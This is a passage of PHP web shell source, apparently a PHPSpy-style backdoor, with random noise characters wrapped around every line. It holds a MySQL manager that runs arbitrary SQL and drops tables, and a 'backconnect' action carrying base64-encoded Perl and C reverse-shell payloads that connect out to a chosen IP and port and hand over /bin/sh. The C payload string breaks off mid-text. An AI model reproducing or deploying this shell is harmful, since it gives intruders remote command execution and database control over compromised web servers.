( B2 ]: {2 F& Z2 S - $where = base64_decode($base64);" Y+ P2 Z) ]6 ]. _6 I& ^3 n
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);& m* j4 B3 q; K, j" [8 C
- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
7 w2 r8 g0 q" U l8 X# T - }
7 q& r5 L! K s9 b/ \0 P - }
; ]& y$ j1 x( ?0 E7 j - if ($doing == 'del' && $base64) {
, Q; L9 w7 C7 ^& \ - $where = base64_decode($base64);
; P; r* p5 l+ t9 i. } - $delete_sql = "DELETE FROM $tablename WHERE $where";; X8 K! q& C1 w$ U
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
7 Z; d. W! L7 F0 s, e# E - m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
0 t4 y% z% z4 j - }
+ z7 y6 r: m" V( f3 T9 L/ w - # M1 N1 p" w% Y0 [' k1 o) g! H9 w
- if ($tablename && $doing == 'drop') {0 T' w8 i; ]# R4 B
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
9 Y% X9 g1 w$ o. x) s* q - if (q("DROP TABLE $tablename")) {
! O. `6 D3 P- ]: b7 z) o4 P( k* K - m('Drop table of success');. G3 t) Q4 I/ W) Y6 `1 Y
- $tablename = ''; @' Z6 A6 `. G: P: j
- } else {
8 w( Q7 |4 K1 a, k0 Z* X - m(mysql_error());) V: q9 _# o! O" O, \
- } ~5 |- h H* Q5 z& V5 c3 u
- }1 B, e+ Z1 X2 q
-
9 I2 `+ S8 w% D( s - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');& `6 y! z! c3 z: Y/ {% |, t4 A
-
- o2 F% j9 m, o b! d$ G; K - formhead(array('title'=>'MYSQL Manager'));
Z* b$ `' | ?( X1 L/ F, o - makehide('action','sqladmin');
8 S, r! l$ ?6 f# K8 W' v5 Y7 ? - p('<p>');7 ]4 @) B1 w% S! T9 A# B3 @
- p('DBHost:');' K, Z6 J/ M$ h0 W) J, [
- makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
7 n3 ~1 j' B4 d" @ - p(':');( j+ f) |: ?$ R C, s
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));1 q6 g3 i) Z U( N7 _ ~( R5 W# L
- p('DBUser:');1 S5 J% A! i5 j. C( B; j7 ^
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));9 O0 K. J* k% Q6 P
- p('DBPass:');
4 W8 w; d, I/ i/ D+ i3 Y; W( D$ G - makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));8 B* K/ p4 J. [" I8 x, z |
- p('DBCharset:');
+ d# V9 F+ y6 }$ U - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
8 a) y, ]. M1 f3 f4 {: K - makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));' h+ X0 f3 ?- {# j5 n
- p('</p>');% L' i' k& E8 u: w A2 ]: a+ X4 C/ R9 G) ~
- formfoot();
" W# a- U+ w( X: F { - ?>
9 k" p, u8 Z4 d! R. F9 x - <script type="text/javascript">
4 x/ ]8 s2 W, | t; L' y - function editrecord(action, base64, tablename){, P+ c9 A" [5 v s+ K, @! N
- if (action == 'del') {
0 d/ m- s# ~: l1 ]/ }) f - if (!confirm('Is or isn\'t deletion record?')) return;
' _3 w1 w% S- J - }. ^; ]0 f& j& \
- $('recordlist').doing.value=action;- F, [; ~( y3 e1 h
- $('recordlist').base64.value=base64;
1 h8 d, n# j$ \# H5 y2 ] - $('recordlist').tablename.value=tablename;9 P8 U$ ^' m. _; O ]. M
- $('recordlist').submit();+ E1 R$ m7 L2 G+ a" j/ m
- }) U; r; P! z- C/ _0 D& k
- function moddbname(dbname) {% F+ v2 X" Q9 K
- if(!dbname) return;
+ N+ z: D+ X! }( ~+ c" \ - $('setdbname').dbname.value=dbname;2 ~* b0 d5 r2 b- q/ x
- $('setdbname').submit();) W! ^. [ l+ Q S$ \( U7 }! J" i+ D
- }
+ X# Q m( n. ]! V1 ^& n- o - function settable(tablename,doing,page) {
3 a3 H6 x- l4 n$ E - if(!tablename) return;( e0 [, ^; x8 l$ u5 `
- if (doing) {2 Z$ ]4 \1 T9 f. u( X
- $('settable').doing.value=doing;
( c2 r3 i3 [4 E v1 {# K/ [ - }
/ S' p# E: f/ \8 Z f% z7 P* M - if (page) {
5 \+ Y7 {: u8 L2 p5 k - $('settable').page.value=page;7 t2 {) T& _/ i5 u! P
- }- T6 U8 c8 R9 f; e
- $('settable').tablename.value=tablename;
7 l- A6 O4 E, p8 c" E9 W: \ - $('settable').submit();
* C' r" o, n- p* Q - }
9 m5 Y6 R& v0 v - </script>% k L. K. |, N# X
- <?php
# ~% K9 h! i% n0 l- ]9 ?3 t( ^ - //操作记录# `0 `7 M% k0 X7 o( [+ o0 U
- formhead(array('name'=>'recordlist'));: J Z: ~ D2 n1 [) ^! c" p
- makehide('doing');: k; {+ a9 ?' L# \8 O4 L: W
- makehide('action','sqladmin');
% G7 c( M" c U- i m+ c$ y - makehide('base64');
/ m; c# l4 W! g, @( ? - makehide('tablename');
0 d# t* Q# l0 K% @ - p($dbform);4 n; P( L e' {+ L7 r0 \( n; ~; ~5 b
- formfoot();5 H$ T- W! A. I/ e4 o& G: Y4 ?
- //选定数据库# D' z2 z3 V: ?! ]: _; R$ o) w
- formhead(array('name'=>'setdbname'));
7 T0 K; P; |5 a2 o - makehide('action','sqladmin');6 [* r, G# N( }. }1 W" P# c/ }+ E
- p($dbform);% I1 @2 G, A; |% \. _, a/ l4 w" D) x% A
- if (!$dbname) {! _/ ^2 m/ i9 _0 L7 e% M$ v
- makehide('dbname');, e) W1 r7 ^* u3 C- w$ f8 O4 b& c
- }
+ o2 C c+ f# G3 {: \' e6 E1 Y - formfoot();
( W$ `/ q+ K8 s/ C2 ?' ^ - //选定表7 U I2 s1 h0 U8 N8 K z
- formhead(array('name'=>'settable'));- {8 b6 m2 D4 B7 L. N8 v3 x
- makehide('action','sqladmin');3 ~( T+ I7 r7 `9 @3 @. I
- p($dbform);
6 F4 t" {7 Y' e( d, ~ - makehide('tablename');" p' g6 h: v' M% g3 o/ N
- makehide('page',$page);
/ K# ]. o* A" T# m - makehide('doing');8 \) [* N* ~5 \( ?" q* D I! T. v
- formfoot();3 y* A8 Y7 s6 O
- $cachetables = array();
& g+ M% D7 H- a - $pagenum = 30;
# f) l' n: l; F$ D" E - $page = intval($page);* F" v, `& m, D( k* N' b# N
- if($page) {
, ^, E6 [& O: @! ` - $start_limit = ($page - 1) * $pagenum;( D3 X3 \& `' k
- } else {
) b$ k/ ?! Q- \, W% j - $start_limit = 0;
+ N, I& C* x) w: a# _& R - $page = 1;
' Q6 c; K1 H( X - }
+ ?4 I1 ~- i- d# |. U7 T6 i6 A. C - if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
# R F- w; T+ P0 w - dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
4 ~8 o* j, O4 W/ t$ ` - //获取数据库信息' x! X$ j- i7 d* Y$ I
- $mysqlver = mysql_get_server_info();5 k& O E8 V; T5 [. V/ u/ y, c# L
- p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');, D/ x/ k# @. G
- $highver = $mysqlver > '4.1' ? 1 : 0;
5 T: H2 \8 U( _8 m - //获取数据库% E$ T7 c u( m w' h* S
- $query = q("SHOW DATABASES");
7 u( E* [2 w9 D$ x - $dbs = array();/ k2 Y- L5 M F P" p
- $dbs[] = '-- Select a database --';
6 |& z! t/ m" ?$ o6 ~& ] _ h) t - while($db = mysql_fetch_array($query)) {# i6 u% h& ] H4 M6 x
- $dbs[$db['Database']] = $db['Database'];
& M; P* D3 T# R b1 }7 j0 k. b7 }; E - }
! C$ E& I5 }( C: V$ E# Y - makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
, t: x6 b, }$ N; k" Y - $tabledb = array();& }0 I2 p0 E7 S) q. |0 M( p
- if ($dbname) {4 |; [$ R, m8 Y: g# X/ f3 w& ~7 l
- p('<p>');5 q; s8 P0 f* |4 ?& r1 P
- p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
% x; c+ _! r+ Z( u - if ($tablename) {
6 X6 @# ~$ q( ~% r5 H& p - p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');) V+ _7 m. R V t
- }8 ]& Z4 b9 G' t
- p('</p>');5 i- w- A: P0 O$ V- x! X6 Y; J5 ?: o
- mysql_select_db($dbname);
2 \* K! e. u) A; z4 C$ h; k8 f& |0 b5 b - $getnumsql = '';
w. Y5 z( `# o6 S! F - $runquery = 0;0 [9 D/ n1 c) a' K& @1 R
- if ($sql_query) {: A! {, S4 n9 o7 v9 o/ l4 ~; I* m! {
- $runquery = 1;% @3 X0 z0 M" r1 M8 m" a" D
- }0 q2 P8 G9 {4 e
- $allowedit = 0;. e9 o* }' Y( u8 L: x* q/ ?
- if ($tablename && !$sql_query) {7 w. _0 {- d+ i
- $sql_query = "SELECT * FROM $tablename";
# T0 m8 u! z/ `) `% I. k - $getnumsql = $sql_query;7 Q6 A Z+ A9 q$ }: G3 S
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum";* p. r4 H( K' J( Z
- $allowedit = 1;) A. m; T; r- K9 R
- }5 S; t# ?) U! O
- p('<form action="'.$self.'" method="POST">');# ~5 c3 l" V8 j, \5 ~. p1 Z1 G4 j
- p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
: L5 u1 G3 Q% |- m# `. @) |2 a - makehide('tablename', $tablename);1 c! v8 H- G8 P
- makehide('action','sqladmin');# @3 s7 a; U: ^. }2 ~8 L' p
- p($dbform);) ?. C h7 K+ ~, C7 [" Y
- p('</form>');& @4 X; ~$ K, G/ }
- if ($tablename || ($runquery && $sql_query)) {9 t4 l; o$ U# m" b
- if ($doing == 'structure') {: Y8 u$ W3 R2 w8 j4 S% ?
- $result = q("SHOW COLUMNS FROM $tablename");
+ k! I; O5 u: ~5 O5 ^% j! v - $rowdb = array();
/ y* u. Y+ t! G - while($row = mysql_fetch_array($result)) {
: l/ F9 c e- O" {* @+ G/ B$ f9 Z - $rowdb[] = $row;
% S- b! L; |5 { - }
6 s6 L/ N/ Y: S! u - p('<table border="0" cellpadding="3" cellspacing="0">');3 n( H" D, I! S' [7 B3 J( g
- p('<tr class="head">');
/ Y" B7 L. V" M, N- A: J8 T# s - p('<td>Field</td>');* d4 q" x2 h1 s
- p('<td>Type</td>');, X. N3 h: z+ g1 Z" Q
- p('<td>Null</td>');+ A( r7 F2 V: s0 f0 z
- p('<td>Key</td>');, ]& ~! p1 X" G8 F9 \/ R: I
- p('<td>Default</td>');; O0 b# h/ M% V8 I
- p('<td>Extra</td>');
2 G% J6 v4 w) V5 C - p('</tr>');8 a; w; O4 {/ b* c
- foreach ($rowdb as $row) {& o- W( o4 ^0 P7 K
- $thisbg = bg();) r/ J g( R1 s
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
0 R) b" e6 `2 n6 Q* Q( j0 N1 }* G - p('<td>'.$row['Field'].'</td>');* O# g, Q d2 L; R
- p('<td>'.$row['Type'].'</td>');
% `2 _, Q, ?, X% X) d4 b - p('<td>'.$row['Null'].' </td>'); Z4 n2 u& ]+ C2 Y# W
- p('<td>'.$row['Key'].' </td>');- A) \; o/ V+ A* L( i
- p('<td>'.$row['Default'].' </td>');+ _+ `" d* f4 ?* ]1 N
- p('<td>'.$row['Extra'].' </td>'); [4 Z2 K/ h- a) z: k; T
- p('</tr>');$ q& h+ O) J% `. J) g( N0 Z2 _
- }- Y/ l0 |, z: Y' n4 I2 u) D
- tbfoot();5 H7 z2 G+ Q3 n* x2 L
- } elseif ($doing == 'insert' || $doing == 'edit') { H7 ?' S i |0 k. W
- $result = q('SHOW COLUMNS FROM '.$tablename);6 F6 a8 J) c! m* f9 r/ \( n/ ^0 c
- while ($row = mysql_fetch_array($result)) {
. F( S/ x2 y4 m. v8 S2 O& f! J - $rowdb[] = $row;! d2 n, Y P7 V4 `
- }
/ p: F+ B2 I5 _9 O& p3 u# g - $rs = array();
) `0 u0 M- B/ h0 G0 ]' ]6 q3 M! e - if ($doing == 'insert') {# W6 Q, @1 w, C) T. D: `+ d
- p('<h2>Insert new line in '.$tablename.' table »</h2>');
/ ~. W9 i: V9 m" s2 r% e1 r6 R5 K - } else {: G' a% _) x* [* z1 n. L# C+ {* F' Z
- p('<h2>Update record in '.$tablename.' table »</h2>');
$ W4 C" i+ `- ?" ^: Q - $where = base64_decode($base64);
# f( r3 Q- x5 v; B" k" I2 s - $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");+ I `& } f0 C7 s) t# o Q3 X
- $rs = mysql_fetch_array($result);
! h: n+ n n& q" N$ G' d4 Q - }, p9 h' I6 w9 N1 L7 J$ l
- p('<form method="post" action="'.$self.'">');* E+ C( E0 P( s: I) A+ P& Z
- p($dbform);
2 n0 K( `. h: J- y0 r0 b - makehide('action','sqladmin');
' O( [3 V' n6 o* b; Z - makehide('tablename',$tablename);
5 U& ]5 r* E# a* o - p('<table border="0" cellpadding="3" cellspacing="0">');
- q9 c- d! ]( R+ f - foreach ($rowdb as $row) {
8 F5 U5 S0 e, |4 d/ ]; ] - if ($rs[$row['Field']]) {4 S+ v8 H8 \1 P
- $value = htmlspecialchars($rs[$row['Field']]);
! F# J- p3 m* B! z5 A: ^4 ~% S& Z& m - } else {* L! b* d4 r. m2 b5 B) K( O
- $value = '';% v7 ]( _$ Q' Z A A$ Z) [
- }
: ?% a% G5 ?: o' F! p0 @% H! }, r: o4 ~ - $thisbg = bg();; D$ c; u! ?! u) d6 }2 K6 y+ O' l
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
, l3 W. G y2 x& {2 P - p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
: U4 d) R- Y% T4 J - }
+ I8 O5 ^" f& Q k$ w" p$ d - if ($doing == 'insert') {
! `, {% g5 g! C0 q/ D/ S9 \ - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');0 r4 q; ]4 t/ U( T9 d7 G4 f1 {/ x
- } else {! Y: h2 Q7 K5 W# h
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');7 Z' M# U( H% {$ v0 l& K
- makehide('base64', $base64);
* u9 X6 Z) [) q: ^ - }' u ?) `! M6 E
- p('</table></form>');9 p, m0 u' x: l( @% ?2 Y
- } else {; {& p5 |1 j" t5 b' _& ?
- $querys = @explode(';',$sql_query);4 }" [. n+ b t9 M6 E" L' r
- foreach($querys as $num=>$query) {
2 J5 n/ c" t+ d l% u - if ($query) {
+ D/ @$ ~# I M% `* R1 `' W6 H - p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");% ~ f; d- s7 ?" q2 m3 ?
- switch(qy($query))' [1 z K# N# V
- { w3 P$ W4 c2 U6 \. P- {2 o% N
- case 0:8 P. s( {5 I+ O
- p('<h2>Error : '.mysql_error().'</h2>'); q8 q; L b9 J7 m. Z
- break; $ O6 S/ U) f& \1 L- w+ b
- case 1:
- {. ^# {2 F7 c I9 C9 j - if (strtolower(substr($query,0,13)) == 'select * from') {6 g0 w/ P8 y# E$ O
- $allowedit = 1;. i6 N' ~( _* k% l1 Q( I7 l, ]( r9 p
- }6 W% R. U% |/ l# I' n0 I' n
- if ($getnumsql) {+ j; n: R& w* t3 R; r5 g
- $tatol = mysql_num_rows(q($getnumsql));& J2 ~1 |& x5 ?6 x' D
- $multipage = multi($tatol, $pagenum, $page, $tablename);" ~1 D5 \* [) G' q# ^& j6 e
- }
5 E1 s+ M1 i3 E6 r - if (!$tablename) {( F' R' v7 F4 C1 u3 R
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));% i; o( A, F# q' B4 q) Y+ L
- $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
: ?& ^9 u6 G) \& u# Y - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$ T0 {* S& D3 X' c" f - $tablename = $matches[1][0];# l; g1 o3 P, M: h3 H
- }8 x% ~/ D" [! J* }+ y' ^
- $result = q($query);
& o- g) D- N" A - p($multipage);) w$ k3 N3 F" g H9 p: e4 o
- p('<table border="0" cellpadding="3" cellspacing="0">');4 T4 M8 P" i4 b: B
- p('<tr class="head">'); o O; V# A* U7 H1 s$ y+ k! @0 r
- if ($allowedit) p('<td>Action</td>');8 u/ \: D ^0 }* P& e; o8 E3 S
- $fieldnum = @mysql_num_fields($result);( t1 k+ w: N1 }' E2 d! e+ X% o X
- for($i=0;$i<$fieldnum;$i++){ K: D. R/ a5 t) L0 n7 b
- $name = @mysql_field_name($result, $i);
2 I6 x# x9 n% C3 g& e) f* z/ Q - $type = @mysql_field_type($result, $i);4 h8 Y" R% z7 Z8 C! x* }/ A. f
- $len = @mysql_field_len($result, $i);9 j. o0 G+ N( F K6 z
- p("<td nowrap>$name<br><span>$type($len)</span></td>");1 l* j) f+ b6 F4 |8 L8 Y0 _
- }
4 w+ S/ h6 Q6 s% ~ - p('</tr>');
+ [4 e* a$ J- h- [# U - while($mn = @mysql_fetch_assoc($result)){
4 H) Z" Z5 a6 t6 U, h6 x - $thisbg = bg();5 G% {+ q. w& W9 ?* }3 [) M+ X/ y
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
( B0 l. \% ^9 M- y - $where = $tmp = $b1 = '';) w2 y6 m- r% ?0 D7 s% D
- foreach($mn as $key=>$inside){6 `+ P; F8 f& M- h4 P S" V. X
- if ($inside) {
& o- \5 f6 T. i" j U. b- P% f - $where .= $tmp.$key."='".addslashes($inside)."'";) Y& t/ F# P1 S) _7 O# ?0 ?
- $tmp = ' AND ';' F8 b* W% n, s. r/ w/ ~
- }
/ d& [3 I1 E" k' V8 R N/ d - $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
5 s, L" y5 h7 s$ q7 ~' L - } v( s1 t8 {/ H3 x' U# f2 x, X4 X# k
- $where = base64_encode($where);
% W! w' |2 Q! t8 r - if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');8 F* Q' h+ X; {# \5 a6 Q
- p($b1);
/ k1 T5 q% y- [5 Q1 ?8 M2 _ - p('</tr>');+ A1 W: O4 h1 E6 g- K# J8 q6 U
- unset($b1);
) d/ R0 S+ a& m+ x& [ - }
) _* q1 `$ R4 p$ |+ `0 H0 o - tbfoot();0 T- `* q1 ~# ^9 R
- p($multipage);
; {$ f8 l0 n4 J$ J1 @7 U0 D, Y - break; 0 j: `! p5 M$ I& t' J# d& S2 I
- case 2:; P4 n; E$ I0 O2 u Q( y$ T( Q' H6 P
- $ar = mysql_affected_rows();
3 @1 E3 p/ F+ b3 @! g& D - p('<h2>affected rows : <b>'.$ar.'</b></h2>');- b( [; ^( G$ Z5 _5 k
- break;
* _/ k$ w$ E/ U1 I% ~8 [8 O% I - }
, G1 A/ \/ T5 i# F4 j! h0 B - }, _6 p7 C3 S! U( R% W1 F8 n8 y" d4 d
- }: p8 A3 y5 a& ~2 H. H
- }
* `. F8 o( Q2 Y. M6 F - } else {! J7 a+ s6 S" e( ]
- $query = q("SHOW TABLE STATUS");
; H$ l! y# [: v5 r& z0 E - $table_num = $table_rows = $data_size = 0;. w/ x$ D6 d5 n* w
- $tabledb = array();
1 A2 ~# K+ e: A+ [! W& \ - while($table = mysql_fetch_array($query)) {
+ c- Q# C; v( g& E+ @& h - $data_size = $data_size + $table['Data_length'];
) W) |, c1 k! V. D& n - $table_rows = $table_rows + $table['Rows'];
U: H! B6 M2 E) ~- D - $table['Data_length'] = sizecount($table['Data_length']);$ d% v; Y5 M/ y c" G; W, C
- $table_num++;# e* B) Y4 b! S! }7 v( h* n0 b. u* `7 E
- $tabledb[] = $table;
( P2 h* a8 A* k6 O( O; K/ b - }* c( `+ n1 J, \% R! | o0 {
- $data_size = sizecount($data_size);
) Y4 q+ ]+ @$ g% _) h% J - unset($table);
( \6 a* C& L5 W9 G - p('<table border="0" cellpadding="0" cellspacing="0">');
/ o% T2 j1 ^, H' {+ `9 V- q - p('<form action="'.$self.'" method="POST">');: s. F9 ^, L& g: P& t; t H
- makehide('action','sqladmin');& J: Z) y4 N' \( Y. T
- p($dbform);! g5 }4 K# P+ W, N% W+ E8 r
- p('<tr class="head">');! i6 D& ?) w) Q# F4 k& R6 k
- p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');! U3 ?" M, [7 W X
- p('<td>Name</td>');
4 Y H% n1 j9 Z) p, Y. T7 S - p('<td>Rows</td>');
% ?& J$ ?5 t Q" K" K' m6 ` - p('<td>Data_length</td>');
" M" k4 @& o8 m* E4 d" e - p('<td>Create_time</td>');
+ m) ]; t8 v* |& Y/ ?: k - p('<td>Update_time</td>');6 H4 z5 ^) v! b9 [4 W
- if ($highver) {; n$ w5 y+ E2 A1 _0 C9 T
- p('<td>Engine</td>');. F2 _4 o" v3 V+ |/ I) `$ M1 ^
- p('<td>Collation</td>');
9 y j" c- Q8 y - }) p# |$ s, h. h K3 Z6 h1 D
- p('</tr>');5 @$ s7 D: v4 Q' A: L/ e
- foreach ($tabledb as $key => $table) {! g5 w7 s& U. o+ J) V! v: S
- $thisbg = bg();
9 e4 |3 _# g. h) U: C5 C& \& N - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');% b( Y) L/ T3 e: _" Z
- p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
+ G/ F2 x$ M1 S8 O- t4 z: @ - p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
- D- M: u4 K; S* t - p('<td>'.$table['Rows'].'</td>');
( x% q/ O( P. S. m% e; _$ C, j5 t - p('<td>'.$table['Data_length'].'</td>');
9 }8 P! P0 A" C( f1 ] - p('<td>'.$table['Create_time'].'</td>');
) ]) L3 S \% C# \; c6 P4 H - p('<td>'.$table['Update_time'].'</td>');, }4 K# e9 S' L
- if ($highver) {/ k0 ]% O+ a+ T
- p('<td>'.$table['Engine'].'</td>');
4 {5 J5 |6 l! | - p('<td>'.$table['Collation'].'</td>');' g% Y8 u; \4 P) j ?" r0 P* x6 b4 ~
- }
6 Z# \' F. c3 j9 L - p('</tr>');$ ~$ @2 `5 k+ S
- }
5 c/ T0 p. L# [( n3 R" c - p('<tr class='.bg().'>');. ]% t2 n! x' L# Z! a+ v
- p('<td> </td>');& R) z# x" _- l* C+ z8 Y
- p('<td>Total tables: '.$table_num.'</td>');+ [' T5 j# J+ @5 P
- p('<td>'.$table_rows.'</td>');, g% k& T' L7 P) Y! h, s
- p('<td>'.$data_size.'</td>');- }2 k+ @2 z" }# h4 ]1 N5 s" w( c
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');8 O6 v) q- c& o" b+ H
- p('</tr>');; G, N8 s( Z V3 h2 o
- p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
' u, l8 T1 f* c! u. J0 ~8 S8 ^9 f8 D - makehide('doing','backupmysql');
( \3 ]* P2 S6 L6 B - formfoot();
8 M- ~9 e( v. F9 X" A - p("</table>");
. [ ^5 g* X9 G - fr($query);
7 k; U8 K. q0 g. Y2 @% \3 |. ]+ k - }
1 T3 D0 P% E o8 [' E( Q - }/ P" b* ^7 d5 c* Q- `! p! L
- }6 B' V7 u: x/ q; j- T
- tbfoot();! J! K2 t# J4 h- j0 b
- @mysql_close();4 Y1 \- B' ~. |" o. K; q+ A
- }//end sql backup1 R+ ^3 k+ [/ F0 ?* n; ^
- elseif ($action == 'backconnect') {
; u' T% m2 ^2 `' A; e - !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];+ k+ L) o& J1 h' n
- !$yourport && $yourport = '12345';/ o8 P8 F9 ?& h9 h" I* R
- $usedb = array('perl'=>'perl','c'=>'c');
1 Y- m7 N* f2 R6 e, T - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
7 v( x! q' i6 \- j' j! t: g - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".: O+ s+ C- |. O- Y( U, q
- "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". f. x" v1 k# W, I$ {1 r, I- ]
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".3 t: k9 N2 H4 |5 k# q3 H8 l. n
- "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
# a' G0 K( a1 t$ V& Z# l1 ] - "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".7 ?) r; H1 d% K7 F
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";4 W* {; J. P" u& ^% G6 V8 U: F# Z
- $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
% u# y8 {) T9 b: @% J8 Z/ N - "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
6 |2 y2 P- V7 H6 q' P6 l7 c: _) H3 | - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
; q: ~( s/ N2 W4 I2 v, G2 K0 L$ \ - "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".8 f8 a! ?6 z1 [) q1 i
- "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
( _& x; t; p4 L% B( b) D F - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".: T) f0 m7 e. B! g. S: M( N
- "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
